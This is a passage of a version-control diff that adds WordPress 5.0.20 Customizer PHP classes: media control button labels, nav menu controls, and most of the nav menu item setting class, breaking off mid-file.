+						{{ data.button_labels.placeholder }}
+				</div>
+				<div class="actions">
+					<# if ( data.defaultAttachment ) { #>
+						<button type="button" class="button default-button">{{ data.button_labels['default'] }}</button>
+					<# } #>
+					<# if ( data.canUpload ) { #>
+					<button type="button" class="button upload-button" id="{{ selectButtonId }}" {{{ describedByAttr }}}>{{ data.button_labels.select }}</button>
+					<# } #>
+				</div>
+			</div>
+		<# } #>
+		<?php
+	}
+
+	/**
+	 * Get default button labels.
+	 *
+	 * Provides an array of the default button labels based on the mime type of the current control.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @return array An associative array of default button labels.
+	 */
+	public function get_default_button_labels() {
+		// Get just the mime type and strip the mime subtype if present.
+		$mime_type = ! empty( $this->mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default';
+
+		switch ( $mime_type ) {
+			case 'video':
+				return array(
+					'select'       => __( 'Select video' ),
+					'change'       => __( 'Change video' ),
+					'default'      => __( 'Default' ),
+					'remove'       => __( 'Remove' ),
+					'placeholder'  => __( 'No video selected' ),
+					'frame_title'  => __( 'Select video' ),
+					'frame_button' => __( 'Choose video' ),
+				);
+			case 'audio':
+				return array(
+					'select'       => __( 'Select audio' ),
+					'change'       => __( 'Change audio' ),
+					'default'      => __( 'Default' ),
+					'remove'       => __( 'Remove' ),
+					'placeholder'  => __( 'No audio selected' ),
+					'frame_title'  => __( 'Select audio' ),
+					'frame_button' => __( 'Choose audio' ),
+				);
+			case 'image':
+				return array(
+					'select'       => __( 'Select image' ),
+					'change'       => __( 'Change image' ),
+					'default'      => __( 'Default' ),
+					'remove'       => __( 'Remove' ),
+					'placeholder'  => __( 'No image selected' ),
+					'frame_title'  => __( 'Select image' ),
+					'frame_button' => __( 'Choose image' ),
+				);
+			default:
+				return array(
+					'select'       => __( 'Select file' ),
+					'change'       => __( 'Change file' ),
+					'default'      => __( 'Default' ),
+					'remove'       => __( 'Remove' ),
+					'placeholder'  => __( 'No file selected' ),
+					'frame_title'  => __( 'Select file' ),
+					'frame_button' => __( 'Choose file' ),
+				);
+		} // End switch().
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php	(revision 56912)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * Customize API: WP_Customize_Nav_Menu_Auto_Add_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize control to represent the auto_add field for a given menu.
+ *
+ * @since 4.3.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Customize_Nav_Menu_Auto_Add_Control extends WP_Customize_Control {
+
+	/**
+	 * Type of control, used by JS.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'nav_menu_auto_add';
+
+	/**
+	 * No-op since we're using JS template.
+	 *
+	 * @since 4.3.0
+	 */
+	protected function render_content() {}
+
+	/**
+	 * Render the Underscore template for this control.
+	 *
+	 * @since 4.3.0
+	 */
+	protected function content_template() {
+		?>
+		<# var elementId = _.uniqueId( 'customize-nav-menu-auto-add-control-' ); #>
+		<span class="customize-control-title"><?php _e( 'Menu Options' ); ?></span>
+		<span class="customize-inside-control-row">
+			<input id="{{ elementId }}" type="checkbox" class="auto_add" />
+			<label for="{{ elementId }}">
+				<?php _e( 'Automatically add new top-level pages to this menu' ); ?>
+			</label>
+		</span>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-control.php	(revision 56912)
@@ -0,0 +1,75 @@
+<?php
+/**
+ * Customize API: WP_Customize_Nav_Menu_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Nav Menu Control Class.
+ *
+ * @since 4.3.0
+ */
+class WP_Customize_Nav_Menu_Control extends WP_Customize_Control {
+
+	/**
+	 * Control type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'nav_menu';
+
+	/**
+	 * Don't render the control's content - it uses a JS template instead.
+	 *
+	 * @since 4.3.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * JS/Underscore template for the control UI.
+	 *
+	 * @since 4.3.0
+	 */
+	public function content_template() {
+		$add_items = __( 'Add Items' );
+		?>
+		<p class="new-menu-item-invitation">
+			<?php
+			printf(
+				/* translators: %s: "Add Items" button text */
+				__( 'Time to add some links! Click &#8220;%s&#8221; to start putting pages, categories, and custom links in your menu. Add as many things as you&#8217;d like.' ),
+				$add_items
+			);
+			?>
+		</p>
+		<div class="customize-control-nav_menu-buttons">
+			<button type="button" class="button add-new-menu-item" aria-label="<?php esc_attr_e( 'Add or remove menu items' ); ?>" aria-expanded="false" aria-controls="available-menu-items">
+				<?php echo $add_items; ?>
+			</button>
+			<button type="button" class="button-link reorder-toggle" aria-label="<?php esc_attr_e( 'Reorder menu items' ); ?>" aria-describedby="reorder-items-desc-{{ data.menu_id }}">
+				<span class="reorder"><?php _e( 'Reorder' ); ?></span>
+				<span class="reorder-done"><?php _e( 'Done' ); ?></span>
+			</button>
+		</div>
+		<p class="screen-reader-text" id="reorder-items-desc-{{ data.menu_id }}"><?php _e( 'When in reorder mode, additional controls to reorder menu items will be available in the items list above.' ); ?></p>
+		<?php
+	}
+
+	/**
+	 * Return parameters for this control.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return array Exported parameters.
+	 */
+	public function json() {
+		$exported            = parent::json();
+		$exported['menu_id'] = $this->setting->term_id;
+
+		return $exported;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-item-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-item-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-item-control.php	(revision 56912)
@@ -0,0 +1,162 @@
+<?php
+/**
+ * Customize API: WP_Customize_Nav_Menu_Item_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize control to represent the name field for a given menu.
+ *
+ * @since 4.3.0
+ */
+class WP_Customize_Nav_Menu_Item_Control extends WP_Customize_Control {
+
+	/**
+	 * Control type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'nav_menu_item';
+
+	/**
+	 * The nav menu item setting.
+	 *
+	 * @since 4.3.0
+	 * @var WP_Customize_Nav_Menu_Item_Setting
+	 */
+	public $setting;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Control::__construct()
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 * @param string               $id      The control ID.
+	 * @param array                $args    Optional. Overrides class property defaults.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		parent::__construct( $manager, $id, $args );
+	}
+
+	/**
+	 * Don't render the control's content - it's rendered with a JS template.
+	 *
+	 * @since 4.3.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * JS/Underscore template for the control UI.
+	 *
+	 * @since 4.3.0
+	 */
+	public function content_template() {
+		?>
+		<div class="menu-item-bar">
+			<div class="menu-item-handle">
+				<span class="item-type" aria-hidden="true">{{ data.item_type_label }}</span>
+				<span class="item-title" aria-hidden="true">
+					<span class="spinner"></span>
+					<span class="menu-item-title<# if ( ! data.title && ! data.original_title ) { #> no-title<# } #>">{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}</span>
+				</span>
+				<span class="item-controls">
+					<button type="button" class="button-link item-edit" aria-expanded="false"><span class="screen-reader-text"><?php
+						/* translators: 1: Title of a menu item, 2: Type of a menu item */
+						printf( __( 'Edit menu item: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}' );
+					?></span><span class="toggle-indicator" aria-hidden="true"></span></button>
+					<button type="button" class="button-link item-delete submitdelete deletion"><span class="screen-reader-text"><?php
+						/* translators: 1: Title of a menu item, 2: Type of a menu item */
+						printf( __( 'Remove Menu Item: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}' );
+					?></span></button>
+				</span>
+			</div>
+		</div>
+
+		<div class="menu-item-settings" id="menu-item-settings-{{ data.menu_item_id }}">
+			<# if ( 'custom' === data.item_type ) { #>
+			<p class="field-url description description-thin">
+				<label for="edit-menu-item-url-{{ data.menu_item_id }}">
+					<?php _e( 'URL' ); ?><br />
+					<input class="widefat code edit-menu-item-url" type="text" id="edit-menu-item-url-{{ data.menu_item_id }}" name="menu-item-url" />
+				</label>
+			</p>
+		<# } #>
+			<p class="description description-thin">
+				<label for="edit-menu-item-title-{{ data.menu_item_id }}">
+					<?php _e( 'Navigation Label' ); ?><br />
+					<input type="text" id="edit-menu-item-title-{{ data.menu_item_id }}" placeholder="{{ data.original_title }}" class="widefat edit-menu-item-title" name="menu-item-title" />
+				</label>
+			</p>
+			<p class="field-link-target description description-thin">
+				<label for="edit-menu-item-target-{{ data.menu_item_id }}">
+					<input type="checkbox" id="edit-menu-item-target-{{ data.menu_item_id }}" class="edit-menu-item-target" value="_blank" name="menu-item-target" />
+					<?php _e( 'Open link in a new tab' ); ?>
+				</label>
+			</p>
+			<p class="field-title-attribute field-attr-title description description-thin">
+				<label for="edit-menu-item-attr-title-{{ data.menu_item_id }}">
+					<?php _e( 'Title Attribute' ); ?><br />
+					<input type="text" id="edit-menu-item-attr-title-{{ data.menu_item_id }}" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title" />
+				</label>
+			</p>
+			<p class="field-css-classes description description-thin">
+				<label for="edit-menu-item-classes-{{ data.menu_item_id }}">
+					<?php _e( 'CSS Classes' ); ?><br />
+					<input type="text" id="edit-menu-item-classes-{{ data.menu_item_id }}" class="widefat code edit-menu-item-classes" name="menu-item-classes" />
+				</label>
+			</p>
+			<p class="field-xfn description description-thin">
+				<label for="edit-menu-item-xfn-{{ data.menu_item_id }}">
+					<?php _e( 'Link Relationship (XFN)' ); ?><br />
+					<input type="text" id="edit-menu-item-xfn-{{ data.menu_item_id }}" class="widefat code edit-menu-item-xfn" name="menu-item-xfn" />
+				</label>
+			</p>
+			<p class="field-description description description-thin">
+				<label for="edit-menu-item-description-{{ data.menu_item_id }}">
+					<?php _e( 'Description' ); ?><br />
+					<textarea id="edit-menu-item-description-{{ data.menu_item_id }}" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description">{{ data.description }}</textarea>
+					<span class="description"><?php _e( 'The description will be displayed in the menu if the current theme supports it.' ); ?></span>
+				</label>
+			</p>
+
+			<div class="menu-item-actions description-thin submitbox">
+				<# if ( ( 'post_type' === data.item_type || 'taxonomy' === data.item_type ) && '' !== data.original_title ) { #>
+				<p class="link-to-original">
+					<?php
+						/* translators: Nav menu item original title. 1: Original title */
+						printf( __( 'Original: %s' ), '<a class="original-link" href="{{ data.url }}">{{ data.original_title }}</a>' );
+					?>
+				</p>
+				<# } #>
+
+				<button type="button" class="button-link button-link-delete item-delete submitdelete deletion"><?php _e( 'Remove' ); ?></button>
+				<span class="spinner"></span>
+			</div>
+			<input type="hidden" name="menu-item-db-id[{{ data.menu_item_id }}]" class="menu-item-data-db-id" value="{{ data.menu_item_id }}" />
+			<input type="hidden" name="menu-item-parent-id[{{ data.menu_item_id }}]" class="menu-item-data-parent-id" value="{{ data.parent }}" />
+		</div><!-- .menu-item-settings-->
+		<ul class="menu-item-transport"></ul>
+		<?php
+	}
+
+	/**
+	 * Return parameters for this control.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return array Exported parameters.
+	 */
+	public function json() {
+		$exported                 = parent::json();
+		$exported['menu_item_id'] = $this->setting->post_id;
+
+		return $exported;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php	(revision 56912)
@@ -0,0 +1,889 @@
+<?php
+/**
+ * Customize API: WP_Customize_Nav_Menu_Item_Setting class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Setting to represent a nav_menu.
+ *
+ * Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
+ * the IDs for the nav_menu_items associated with the nav menu.
+ *
+ * @since 4.3.0
+ *
+ * @see WP_Customize_Setting
+ */
+class WP_Customize_Nav_Menu_Item_Setting extends WP_Customize_Setting {
+
+	const ID_PATTERN = '/^nav_menu_item\[(?P<id>-?\d+)\]$/';
+
+	const POST_TYPE = 'nav_menu_item';
+
+	const TYPE = 'nav_menu_item';
+
+	/**
+	 * Setting type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = self::TYPE;
+
+	/**
+	 * Default setting value.
+	 *
+	 * @since 4.3.0
+	 * @var array
+	 *
+	 * @see wp_setup_nav_menu_item()
+	 */
+	public $default = array(
+		// The $menu_item_data for wp_update_nav_menu_item().
+		'object_id'        => 0,
+		'object'           => '', // Taxonomy name.
+		'menu_item_parent' => 0, // A.K.A. menu-item-parent-id; note that post_parent is different, and not included.
+		'position'         => 0, // A.K.A. menu_order.
+		'type'             => 'custom', // Note that type_label is not included here.
+		'title'            => '',
+		'url'              => '',
+		'target'           => '',
+		'attr_title'       => '',
+		'description'      => '',
+		'classes'          => '',
+		'xfn'              => '',
+		'status'           => 'publish',
+		'original_title'   => '',
+		'nav_menu_term_id' => 0, // This will be supplied as the $menu_id arg for wp_update_nav_menu_item().
+		'_invalid'         => false,
+	);
+
+	/**
+	 * Default transport.
+	 *
+	 * @since 4.3.0
+	 * @since 4.5.0 Default changed to 'refresh'
+	 * @var string
+	 */
+	public $transport = 'refresh';
+
+	/**
+	 * The post ID represented by this setting instance. This is the db_id.
+	 *
+	 * A negative value represents a placeholder ID for a new menu not yet saved.
+	 *
+	 * @since 4.3.0
+	 * @var int
+	 */
+	public $post_id;
+
+	/**
+	 * Storage of pre-setup menu item to prevent wasted calls to wp_setup_nav_menu_item().
+	 *
+	 * @since 4.3.0
+	 * @var array
+	 */
+	protected $value;
+
+	/**
+	 * Previous (placeholder) post ID used before creating a new menu item.
+	 *
+	 * This value will be exported to JS via the customize_save_response filter
+	 * so that JavaScript can update the settings to refer to the newly-assigned
+	 * post ID. This value is always negative to indicate it does not refer to
+	 * a real post.
+	 *
+	 * @since 4.3.0
+	 * @var int
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
+	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
+	 */
+	public $previous_post_id;
+
+	/**
+	 * When previewing or updating a menu item, this stores the previous nav_menu_term_id
+	 * which ensures that we can apply the proper filters.
+	 *
+	 * @since 4.3.0
+	 * @var int
+	 */
+	public $original_nav_menu_term_id;
+
+	/**
+	 * Whether or not update() was called.
+	 *
+	 * @since 4.3.0
+	 * @var bool
+	 */
+	protected $is_updated = false;
+
+	/**
+	 * Status for calling the update method, used in customize_save_response filter.
+	 *
+	 * See {@see 'customize_save_response'}.
+	 *
+	 * When status is inserted, the placeholder post ID is stored in $previous_post_id.
+	 * When status is error, the error is stored in $update_error.
+	 *
+	 * @since 4.3.0
+	 * @var string updated|inserted|deleted|error
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
+	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
+	 */
+	public $update_status;
+
+	/**
+	 * Any error object returned by wp_update_nav_menu_item() when setting is updated.
+	 *
+	 * @since 4.3.0
+	 * @var WP_Error
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
+	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
+	 */
+	public $update_error;
+
+	/**
+	 * Constructor.
+	 *
+	 * Any supplied $args override class property defaults.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Customize_Manager $manager Bootstrap Customizer instance.
+	 * @param string               $id      An specific ID of the setting. Can be a
+	 *                                      theme mod or option name.
+	 * @param array                $args    Optional. Setting arguments.
+	 *
+	 * @throws Exception If $id is not valid for this setting type.
+	 */
+	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
+		if ( empty( $manager->nav_menus ) ) {
+			throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
+		}
+
+		if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
+			throw new Exception( "Illegal widget setting ID: $id" );
+		}
+
+		$this->post_id = intval( $matches['id'] );
+		add_action( 'wp_update_nav_menu_item', array( $this, 'flush_cached_value' ), 10, 2 );
+
+		parent::__construct( $manager, $id, $args );
+
+		// Ensure that an initially-supplied value is valid.
+		if ( isset( $this->value ) ) {
+			$this->populate_value();
+			foreach ( array_diff( array_keys( $this->default ), array_keys( $this->value ) ) as $missing ) {
+				throw new Exception( "Supplied nav_menu_item value missing property: $missing" );
+			}
+		}
+
+	}
+
+	/**
+	 * Clear the cached value when this nav menu item is updated.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param int $menu_id       The term ID for the menu.
+	 * @param int $menu_item_id  The post ID for the menu item.
+	 */
+	public function flush_cached_value( $menu_id, $menu_item_id ) {
+		unset( $menu_id );
+		if ( $menu_item_id === $this->post_id ) {
+			$this->value = null;
+		}
+	}
+
+	/**
+	 * Get the instance data for a given nav_menu_item setting.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see wp_setup_nav_menu_item()
+	 *
+	 * @return array|false Instance data array, or false if the item is marked for deletion.
+	 */
+	public function value() {
+		if ( $this->is_previewed && $this->_previewed_blog_id === get_current_blog_id() ) {
+			$undefined  = new stdClass(); // Symbol.
+			$post_value = $this->post_value( $undefined );
+
+			if ( $undefined === $post_value ) {
+				$value = $this->_original_value;
+			} else {
+				$value = $post_value;
+			}
+			if ( ! empty( $value ) && empty( $value['original_title'] ) ) {
+				$value['original_title'] = $this->get_original_title( (object) $value );
+			}
+		} elseif ( isset( $this->value ) ) {
+			$value = $this->value;
+		} else {
+			$value = false;
+
+			// Note that a ID of less than one indicates a nav_menu not yet inserted.
+			if ( $this->post_id > 0 ) {
+				$post = get_post( $this->post_id );
+				if ( $post && self::POST_TYPE === $post->post_type ) {
+					$is_title_empty = empty( $post->post_title );
+					$value = (array) wp_setup_nav_menu_item( $post );
+					if ( $is_title_empty ) {
+						$value['title'] = '';
+					}
+				}
+			}
+
+			if ( ! is_array( $value ) ) {
+				$value = $this->default;
+			}
+
+			// Cache the value for future calls to avoid having to re-call wp_setup_nav_menu_item().
+			$this->value = $value;
+			$this->populate_value();
+			$value = $this->value;
+		}
+
+		if ( ! empty( $value ) && empty( $value['type_label'] ) ) {
+			$value['type_label'] = $this->get_type_label( (object) $value );
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Get original title.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param object $item Nav menu item.
+	 * @return string The original title.
+	 */
+	protected function get_original_title( $item ) {
+		$original_title = '';
+		if ( 'post_type' === $item->type && ! empty( $item->object_id ) ) {
+			$original_object = get_post( $item->object_id );
+			if ( $original_object ) {
+				/** This filter is documented in wp-includes/post-template.php */
+				$original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID );
+
+				if ( '' === $original_title ) {
+					/* translators: %d: ID of a post */
+					$original_title = sprintf( __( '#%d (no title)' ), $original_object->ID );
+				}
+			}
+		} elseif ( 'taxonomy' === $item->type && ! empty( $item->object_id ) ) {
+			$original_term_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' );
+			if ( ! is_wp_error( $original_term_title ) ) {
+				$original_title = $original_term_title;
+			}
+		} elseif ( 'post_type_archive' === $item->type ) {
+			$original_object = get_post_type_object( $item->object );
+			if ( $original_object ) {
+				$original_title = $original_object->labels->archives;
+			}
+		}
+		$original_title = html_entity_decode( $original_title, ENT_QUOTES, get_bloginfo( 'charset' ) );
+		return $original_title;
+	}
+
+	/**
+	 * Get type label.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param object $item Nav menu item.
+	 * @returns string The type label.
+	 */
+	protected function get_type_label( $item ) {
+		if ( 'post_type' === $item->type ) {
+			$object = get_post_type_object( $item->object );
+			if ( $object ) {
+				$type_label = $object->labels->singular_name;
+			} else {
+				$type_label = $item->object;
+			}
+		} elseif ( 'taxonomy' === $item->type ) {
+			$object = get_taxonomy( $item->object );
+			if ( $object ) {
+				$type_label = $object->labels->singular_name;
+			} else {
+				$type_label = $item->object;
+			}
+		} elseif ( 'post_type_archive' === $item->type ) {
+			$type_label = __( 'Post Type Archive' );
+		} else {
+			$type_label = __( 'Custom Link' );
+		}
+		return $type_label;
+	}
+
+	/**
+	 * Ensure that the value is fully populated with the necessary properties.
+	 *
+	 * Translates some properties added by wp_setup_nav_menu_item() and removes others.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::value()
+	 */
+	protected function populate_value() {
+		if ( ! is_array( $this->value ) ) {
+			return;
+		}
+
+		if ( isset( $this->value['menu_order'] ) ) {
+			$this->value['position'] = $this->value['menu_order'];
+			unset( $this->value['menu_order'] );
+		}
+		if ( isset( $this->value['post_status'] ) ) {
+			$this->value['status'] = $this->value['post_status'];
+			unset( $this->value['post_status'] );
+		}
+
+		if ( ! isset( $this->value['original_title'] ) ) {
+			$this->value['original_title'] = $this->get_original_title( (object) $this->value );
+		}
+
+		if ( ! isset( $this->value['nav_menu_term_id'] ) && $this->post_id > 0 ) {
+			$menus = wp_get_post_terms( $this->post_id, WP_Customize_Nav_Menu_Setting::TAXONOMY, array(
+				'fields' => 'ids',
+			) );
+			if ( ! empty( $menus ) ) {
+				$this->value['nav_menu_term_id'] = array_shift( $menus );
+			} else {
+				$this->value['nav_menu_term_id'] = 0;
+			}
+		}
+
+		foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
+			if ( ! is_int( $this->value[ $key ] ) ) {
+				$this->value[ $key ] = intval( $this->value[ $key ] );
+			}
+		}
+		foreach ( array( 'classes', 'xfn' ) as $key ) {
+			if ( is_array( $this->value[ $key ] ) ) {
+				$this->value[ $key ] = implode( ' ', $this->value[ $key ] );
+			}
+		}
+
+		if ( ! isset( $this->value['title'] ) ) {
+			$this->value['title'] = '';
+		}
+
+		if ( ! isset( $this->value['_invalid'] ) ) {
+			$this->value['_invalid'] = false;
+			$is_known_invalid = (
+				( ( 'post_type' === $this->value['type'] || 'post_type_archive' === $this->value['type'] ) && ! post_type_exists( $this->value['object'] ) )
+				||
+				( 'taxonomy' === $this->value['type'] && ! taxonomy_exists( $this->value['object'] ) )
+			);
+			if ( $is_known_invalid ) {
+				$this->value['_invalid'] = true;
+			}
+		}
+
+		// Remove remaining properties available on a setup nav_menu_item post object which aren't relevant to the setting value.
+		$irrelevant_properties = array(
+			'ID',
+			'comment_count',
+			'comment_status',
+			'db_id',
+			'filter',
+			'guid',
+			'ping_status',
+			'pinged',
+			'post_author',
+			'post_content',
+			'post_content_filtered',
+			'post_date',
+			'post_date_gmt',
+			'post_excerpt',
+			'post_mime_type',
+			'post_modified',
+			'post_modified_gmt',
+			'post_name',
+			'post_parent',
+			'post_password',
+			'post_title',
+			'post_type',
+			'to_ping',
+		);
+		foreach ( $irrelevant_properties as $property ) {
+			unset( $this->value[ $property ] );
+		}
+	}
+
+	/**
+	 * Handle previewing the setting.
+	 *
+	 * @since 4.3.0
+	 * @since 4.4.0 Added boolean return value.
+	 *
+	 * @see WP_Customize_Manager::post_value()
+	 *
+	 * @return bool False if method short-circuited due to no-op.
+	 */
+	public function preview() {
+		if ( $this->is_previewed ) {
+			return false;
+		}
+
+		$undefined = new stdClass();
+		$is_placeholder = ( $this->post_id < 0 );
+		$is_dirty = ( $undefined !== $this->post_value( $undefined ) );
+		if ( ! $is_placeholder && ! $is_dirty ) {
+			return false;
+		}
+
+		$this->is_previewed              = true;
+		$this->_original_value           = $this->value();
+		$this->original_nav_menu_term_id = $this->_original_value['nav_menu_term_id'];
+		$this->_previewed_blog_id        = get_current_blog_id();
+
+		add_filter( 'wp_get_nav_menu_items', array( $this, 'filter_wp_get_nav_menu_items' ), 10, 3 );
+
+		$sort_callback = array( __CLASS__, 'sort_wp_get_nav_menu_items' );
+		if ( ! has_filter( 'wp_get_nav_menu_items', $sort_callback ) ) {
+			add_filter( 'wp_get_nav_menu_items', array( __CLASS__, 'sort_wp_get_nav_menu_items' ), 1000, 3 );
+		}
+
+		// @todo Add get_post_metadata filters for plugins to add their data.
+
+		return true;
+	}
+
+	/**
+	 * Filters the wp_get_nav_menu_items() result to supply the previewed menu items.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see wp_get_nav_menu_items()
+	 *
+	 * @param array  $items An array of menu item post objects.
+	 * @param object $menu  The menu object.
+	 * @param array  $args  An array of arguments used to retrieve menu item objects.
+	 * @return array Array of menu items,
+	 */
+	public function filter_wp_get_nav_menu_items( $items, $menu, $args ) {
+		$this_item = $this->value();
+		$current_nav_menu_term_id = $this_item['nav_menu_term_id'];
+		unset( $this_item['nav_menu_term_id'] );
+
+		$should_filter = (
+			$menu->term_id === $this->original_nav_menu_term_id
+			||
+			$menu->term_id === $current_nav_menu_term_id
+		);
+		if ( ! $should_filter ) {
+			return $items;
+		}
+
+		// Handle deleted menu item, or menu item moved to another menu.
+		$should_remove = (
+			false === $this_item
+			||
+			true === $this_item['_invalid']
+			||
+			(
+				$this->original_nav_menu_term_id === $menu->term_id
+				&&
+				$current_nav_menu_term_id !== $this->original_nav_menu_term_id
+			)
+		);
+		if ( $should_remove ) {
+			$filtered_items = array();
+			foreach ( $items as $item ) {
+				if ( $item->db_id !== $this->post_id ) {
+					$filtered_items[] = $item;
+				}
+			}
+			return $filtered_items;
+		}
+
+		$mutated = false;
+		$should_update = (
+			is_array( $this_item )
+			&&
+			$current_nav_menu_term_id === $menu->term_id
+		);
+		if ( $should_update ) {
+			foreach ( $items as $item ) {
+				if ( $item->db_id === $this->post_id ) {
+					foreach ( get_object_vars( $this->value_as_wp_post_nav_menu_item() ) as $key => $value ) {
+						$item->$key = $value;
+					}
+					$mutated = true;
+				}
+			}
+
+			// Not found so we have to append it..
+			if ( ! $mutated ) {
+				$items[] = $this->value_as_wp_post_nav_menu_item();
+			}
+		}
+
+		return $items;
+	}
+
+	/**
+	 * Re-apply the tail logic also applied on $items by wp_get_nav_menu_items().
+	 *
+	 * @since 4.3.0
+	 * @static
+	 *
+	 * @see wp_get_nav_menu_items()
+	 *
+	 * @param array  $items An array of menu item post objects.
+	 * @param object $menu  The menu object.
+	 * @param array  $args  An array of arguments used to retrieve menu item objects.
+	 * @return array Array of menu items,
+	 */
+	public static function sort_wp_get_nav_menu_items( $items, $menu, $args ) {
+		// @todo We should probably re-apply some constraints imposed by $args.
+		unset( $args['include'] );
+
+		// Remove invalid items only in front end.
+		if ( ! is_admin() ) {
+			$items = array_filter( $items, '_is_valid_nav_menu_item' );
+		}
+
+		if ( ARRAY_A === $args['output'] ) {
+			$items = wp_list_sort( $items, array(
+				$args['output_key'] => 'ASC',
+			) );
+			$i = 1;
+
+			foreach ( $items as $k => $item ) {
+				$items[ $k ]->{$args['output_key']} = $i++;
+			}
+		}
+
+		return $items;
+	}
+
+	/**
+	 * Get the value emulated into a WP_Post and set up as a nav_menu_item.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return WP_Post With wp_setup_nav_menu_item() applied.
+	 */
+	public function value_as_wp_post_nav_menu_item() {
+		$item = (object) $this->value();
+		unset( $item->nav_menu_term_id );
+
+		$item->post_status = $item->status;
+		unset( $item->status );
+
+		$item->post_type = 'nav_menu_item';
+		$item->menu_order = $item->position;
+		unset( $item->position );
+
+		if ( empty( $item->original_title ) ) {
+			$item->original_title = $this->get_original_title( $item );
+		}
+		if ( empty( $item->title ) && ! empty( $item->original_title ) ) {
+			$item->title = $item->original_title;
+		}
+		if ( $item->title ) {
+			$item->post_title = $item->title;
+		}
+
+		$item->ID = $this->post_id;
+		$item->db_id = $this->post_id;
+		$post = new WP_Post( (object) $item );
+
+		if ( empty( $post->post_author ) ) {
+			$post->post_author = get_current_user_id();
+		}
+
+		if ( ! isset( $post->type_label ) ) {
+			$post->type_label = $this->get_type_label( $post );
+		}
+
+		// Ensure nav menu item URL is set according to linked object.
+		if ( 'post_type' === $post->type && ! empty( $post->object_id ) ) {
+			$post->url = get_permalink( $post->object_id );
+		} elseif ( 'taxonomy' === $post->type && ! empty( $post->object ) && ! empty( $post->object_id ) ) {
+			$post->url = get_term_link( (int) $post->object_id, $post->object );
+		} elseif ( 'post_type_archive' === $post->type && ! empty( $post->object ) ) {
+			$post->url = get_post_type_archive_link( $post->object );
+		}
+		if ( is_wp_error( $post->url ) ) {
+			$post->url = '';
+		}
+
+		/** This filter is documented in wp-includes/nav-menu.php */
+		$post->attr_title = apply_filters( 'nav_menu_attr_title', $post->attr_title );
+
+		/** This filter is documented in wp-includes/nav-menu.php */
+		$post->description = apply_filters( 'nav_menu_description', wp_trim_words( $post->description, 200 ) );
+
+		/** This filter is documented in wp-includes/nav-menu.php */
+		$post = apply_filters( 'wp_setup_nav_menu_item', $post );
+
+		return $post;
+	}
+
+	/**
+	 * Sanitize an input.
+	 *
